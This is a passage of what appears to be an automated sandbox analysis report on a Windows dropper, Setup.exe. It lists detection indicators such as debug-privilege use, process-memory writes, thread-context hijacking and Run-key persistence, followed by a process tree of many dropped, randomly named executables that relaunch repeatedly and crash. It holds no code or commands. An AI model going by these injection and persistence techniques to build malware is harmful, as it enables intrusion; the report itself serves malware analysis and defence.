SeDebugPrivilege 6408 x2ARhHhqm2nRHegZfup3BisP.exe Token: SeDebugPrivilege 8540 Token: SeDebugPrivilege 3004 2293663.exe Token: SeDebugPrivilege 7780 3084587.exe Token: SeDebugPrivilege 6364 1007247.exe Token: SeDebugPrivilege 2940 468MAX86kZBlx4ZNrrJVNKK8.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
Processes:
Yuvk9b6ccodvNsR2JwuxBAfz.exestats.tmpmsedge.exeWerFault.exex9A7zksb2bNiKlCcEJwaFrCp.exepid process 1204 Yuvk9b6ccodvNsR2JwuxBAfz.exe 1996 stats.tmp 5016 msedge.exe 8640 WerFault.exe 9404 x9A7zksb2bNiKlCcEJwaFrCp.exe 9404 x9A7zksb2bNiKlCcEJwaFrCp.exe 9404 x9A7zksb2bNiKlCcEJwaFrCp.exe -
Suspicious use of SendNotifyMessage 3 IoCs
Processes:
x9A7zksb2bNiKlCcEJwaFrCp.exepid process 9404 x9A7zksb2bNiKlCcEJwaFrCp.exe 9404 x9A7zksb2bNiKlCcEJwaFrCp.exe 9404 x9A7zksb2bNiKlCcEJwaFrCp.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup.exedescription pid process target process PID 4388 wrote to memory of 856 4388 Setup.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 4388 wrote to memory of 856 4388 Setup.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 4388 wrote to memory of 856 4388 Setup.exe x9A7zksb2bNiKlCcEJwaFrCp.exe PID 4388 wrote to memory of 864 4388 Setup.exe Cz2mJKDOU6JIpIwSwjt1s13E.exe PID 4388 wrote to memory of 864 4388 Setup.exe Cz2mJKDOU6JIpIwSwjt1s13E.exe PID 4388 wrote to memory of 864 4388 Setup.exe Cz2mJKDOU6JIpIwSwjt1s13E.exe PID 4388 wrote to memory of 3204 4388 Setup.exe KPIi6venqhklUEudwrH7yto5.exe PID 4388 wrote to memory of 3204 4388 Setup.exe KPIi6venqhklUEudwrH7yto5.exe PID 4388 wrote to memory of 3204 4388 Setup.exe KPIi6venqhklUEudwrH7yto5.exe PID 4388 wrote to memory of 3196 4388 Setup.exe s5LTZzJ14a7hoh1dzHlb0_JV.exe PID 4388 wrote to memory of 3196 4388 Setup.exe s5LTZzJ14a7hoh1dzHlb0_JV.exe PID 4388 wrote to memory of 560 4388 Setup.exe 3yVTDofbAXuNCSkNG6JIEdzA.exe PID 4388 wrote to memory of 560 4388 Setup.exe 3yVTDofbAXuNCSkNG6JIEdzA.exe PID 4388 wrote to memory of 560 4388 Setup.exe 3yVTDofbAXuNCSkNG6JIEdzA.exe PID 4388 wrote to memory of 936 4388 Setup.exe 1OiXCcYBqCNSAzwk7Sl2UQKi.exe PID 4388 wrote to memory of 936 4388 Setup.exe 1OiXCcYBqCNSAzwk7Sl2UQKi.exe PID 4388 wrote to memory of 936 4388 Setup.exe 1OiXCcYBqCNSAzwk7Sl2UQKi.exe PID 4388 wrote to memory of 860 4388 Setup.exe 1HwuLZOI_ia2IDtVepwPgTM7.exe PID 4388 wrote to memory of 860 4388 Setup.exe 1HwuLZOI_ia2IDtVepwPgTM7.exe PID 4388 wrote to memory of 860 4388 Setup.exe 1HwuLZOI_ia2IDtVepwPgTM7.exe PID 4388 wrote to memory of 452 4388 Setup.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 4388 wrote to memory of 452 4388 Setup.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 4388 wrote to memory of 452 4388 Setup.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe PID 4388 wrote to memory of 1452 4388 Setup.exe Sm9jDaF5Rn5LS3KcKxG2nzVR.exe PID 4388 wrote to memory of 1452 4388 Setup.exe Sm9jDaF5Rn5LS3KcKxG2nzVR.exe PID 4388 wrote to memory of 1452 4388 Setup.exe Sm9jDaF5Rn5LS3KcKxG2nzVR.exe PID 4388 wrote to memory of 1776 4388 Setup.exe SbFnp3JBK5VZBGiEynEtSQEe.exe PID 4388 wrote to memory of 1776 4388 Setup.exe SbFnp3JBK5VZBGiEynEtSQEe.exe PID 4388 wrote to memory of 1776 4388 Setup.exe SbFnp3JBK5VZBGiEynEtSQEe.exe PID 4388 wrote to memory of 1852 4388 Setup.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 4388 wrote to memory of 1852 4388 Setup.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 4388 wrote to memory of 1852 4388 Setup.exe 468MAX86kZBlx4ZNrrJVNKK8.exe PID 4388 wrote to memory of 1872 4388 Setup.exe v0EJ9FujNNKwBVFI7ameFHNX.exe PID 4388 wrote to memory of 1872 4388 Setup.exe v0EJ9FujNNKwBVFI7ameFHNX.exe PID 4388 wrote to memory of 1872 4388 Setup.exe v0EJ9FujNNKwBVFI7ameFHNX.exe PID 4388 wrote to memory of 2076 4388 Setup.exe 83rQNR7RSbxdY8xX2J7rAyEE.exe PID 4388 wrote to memory of 2076 4388 Setup.exe 83rQNR7RSbxdY8xX2J7rAyEE.exe PID 4388 wrote to memory of 2076 4388 Setup.exe 83rQNR7RSbxdY8xX2J7rAyEE.exe PID 4388 wrote to memory of 2152 4388 Setup.exe tp2MRmBOTGpUYV_b7fro7XIm.exe PID 4388 wrote to memory of 2152 4388 Setup.exe tp2MRmBOTGpUYV_b7fro7XIm.exe PID 4388 wrote to memory of 2152 4388 Setup.exe tp2MRmBOTGpUYV_b7fro7XIm.exe PID 4388 wrote to memory of 2348 4388 Setup.exe BcYTY2JXtkuAtChqtILjkTTh.exe PID 4388 wrote to memory of 2348 4388 Setup.exe BcYTY2JXtkuAtChqtILjkTTh.exe PID 4388 wrote to memory of 2348 4388 Setup.exe BcYTY2JXtkuAtChqtILjkTTh.exe PID 4388 wrote to memory of 2396 4388 Setup.exe xh0nODyBNlZlURB4Fb2VtkzP.exe PID 4388 wrote to memory of 2396 4388 Setup.exe xh0nODyBNlZlURB4Fb2VtkzP.exe PID 4388 wrote to memory of 2396 4388 Setup.exe xh0nODyBNlZlURB4Fb2VtkzP.exe PID 4388 wrote to memory of 1264 4388 Setup.exe EJ4nDdCHxLLkR1IVMy4D4SKF.exe PID 4388 wrote to memory of 1264 4388 Setup.exe EJ4nDdCHxLLkR1IVMy4D4SKF.exe PID 4388 wrote to memory of 1264 4388 Setup.exe EJ4nDdCHxLLkR1IVMy4D4SKF.exe PID 4388 wrote to memory of 2472 4388 Setup.exe V3b1g_uOXSquvDp3y3Jp932Y.exe PID 4388 wrote to memory of 2472 4388 Setup.exe V3b1g_uOXSquvDp3y3Jp932Y.exe PID 4388 wrote to memory of 2472 4388 Setup.exe V3b1g_uOXSquvDp3y3Jp932Y.exe PID 4388 wrote to memory of 2988 4388 Setup.exe Mt5xso5G5tPeikFaMR0NRjyf.exe PID 4388 wrote to memory of 2988 4388 Setup.exe Mt5xso5G5tPeikFaMR0NRjyf.exe PID 4388 wrote to memory of 2988 4388 Setup.exe Mt5xso5G5tPeikFaMR0NRjyf.exe PID 4388 wrote to memory of 2092 4388 Setup.exe gQMDUFD63cpqvLTMYyNd2xM6.exe PID 4388 wrote to memory of 2092 4388 Setup.exe gQMDUFD63cpqvLTMYyNd2xM6.exe PID 4388 wrote to memory of 2092 4388 Setup.exe gQMDUFD63cpqvLTMYyNd2xM6.exe PID 4388 wrote to memory of 4728 4388 Setup.exe QU2OVBU5HGnIhS7hhd4pOPiv.exe PID 4388 wrote to memory of 4728 4388 Setup.exe QU2OVBU5HGnIhS7hhd4pOPiv.exe PID 4388 wrote to memory of 3984 4388 Setup.exe zaJAoc_OY4FNXjLZpLLCIcQq.exe PID 4388 wrote to memory of 3984 4388 Setup.exe zaJAoc_OY4FNXjLZpLLCIcQq.exe PID 4388 wrote to memory of 3984 4388 Setup.exe zaJAoc_OY4FNXjLZpLLCIcQq.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe"C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:452 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Executes dropped EXE
PID:3184 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Executes dropped EXE
PID:2272 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Executes dropped EXE
PID:5252 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Executes dropped EXE
PID:6124 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4060
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4692
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5700
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4156
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5984
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6568
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:1176 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5704
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7288
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8044
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:1168
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4404 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8688
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7560
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4616
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:9124
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9124 -s 284⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:8016 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2024
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:3992
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6468
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:9992
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5588
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8600 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7056
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:1244
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1244 -s 284⤵
- Program crash
PID:5740 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4344
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:3668
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Loads dropped DLL
PID:3008 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2392
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7360
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:9440
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:3448
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10624
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11024
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10400
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7884
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11148
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11256
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7768
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4116
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8380
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10612
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5868
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7800
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:3476
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7332
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4768
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8676
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2764
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7576
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11240
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8224
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5968
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7808
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7916
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2848
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4216
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 284⤵
- Program crash
PID:10828 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6428
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10064
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10360
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10280
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5860
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:1700
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5140 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6496
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2568
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10592
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6480
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:9928
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7116
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7252
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8648
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8804
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2696
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7424
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7424 -s 284⤵
- Program crash
PID:5420 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6996
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:5644
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10256
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6872
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10800
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6300
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2692
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10932
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10932 -s 284⤵
- Program crash
PID:10828 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:8744
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:4816
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:7872
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:11184
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6096
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10336
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2912
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2912 -s 284⤵
- Program crash
PID:4440 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2044
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:3032
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6108
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6736
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:6296
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6296 -s 284⤵
- Program crash
PID:12708 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12544
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13172
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13040
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13140
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:2272
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 284⤵
- Program crash
PID:1256 -
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:10316
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:13216
-
C:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exeC:\Users\Admin\Documents\6Ghd6tbPXeIptbY5eR0zjYBH.exe3⤵PID:12876
-
